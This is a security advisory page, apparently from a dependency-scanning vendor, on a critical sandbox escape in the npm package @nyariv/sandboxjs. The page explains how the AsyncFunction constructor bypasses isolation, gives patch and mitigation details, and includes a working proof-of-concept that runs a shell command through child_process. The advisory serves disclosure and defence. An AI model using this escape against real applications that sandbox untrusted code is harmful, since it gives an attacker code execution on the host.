GHSA-wxhw-j4hc-fmq6 is a critical-severity (CVSS 10) Code Injection vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.
SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wxhw-j4hc-fmq6.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-wxhw-j4hc-fmq6 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nyariv/sandboxjsnpmDescription
Summary
A sandbox escape vulnerability due to AsyncFunction not being isolated in SandboxFunction
Details
The library attempts to sandbox code execution by replacing the global Function constructor with a safe, sandboxed version (SandboxFunction). This is handled in utils.ts by mapping Function to sandboxFunction within a map used for lookups.
However, the library did not include mappings for AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. These constructors are not global properties but can be accessed via the .constructor property of an instance (e.g., (async () => {}).constructor).
In executor.ts, property access is handled. When code running inside the sandbox accesses .constructor on an async function (which the sandbox allows creating), the executor retrieves the property value. Since AsyncFunction was not in the safe-replacement map, the executor returns the actual native host AsyncFunction constructor.
Constructors for functions in JavaScript (like Function, AsyncFunction) create functions that execute in the global scope. By obtaining the host AsyncFunction constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).
PoC
const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();
const payload = `
const af = async () => {};
// .constructor returns the host AsyncFunction constructor because it's not intercepted
const AsyncConstructor = af.constructor;
console.log("AsyncConstructor name:", AsyncConstructor.name);
// Create a function that executes outside the sandbox
const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
// Execute RCE
const p = func();
p.then(proc => {
console.log(proc);
});
`;
try {
s.compile(payload)().run();
} catch (e) {
console.error("Bypass failed:", e.message);
}
Run above script in nodejs. If you run it in browser, change the AsyncConstructor argument by returning window object.
Impact
A Remote Code Execution, attacker may be able to run an arbitrary code.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.26npm install @nyariv/sandboxjs@0.8.26 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nyariv/sandboxjs to 0.8.26 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wxhw-j4hc-fmq6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-wxhw-j4hc-fmq6 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-wxhw-j4hc-fmq6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wxhw-j4hc-fmq6 in your dependencies?
O3 Security finds GHSA-wxhw-j4hc-fmq6 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.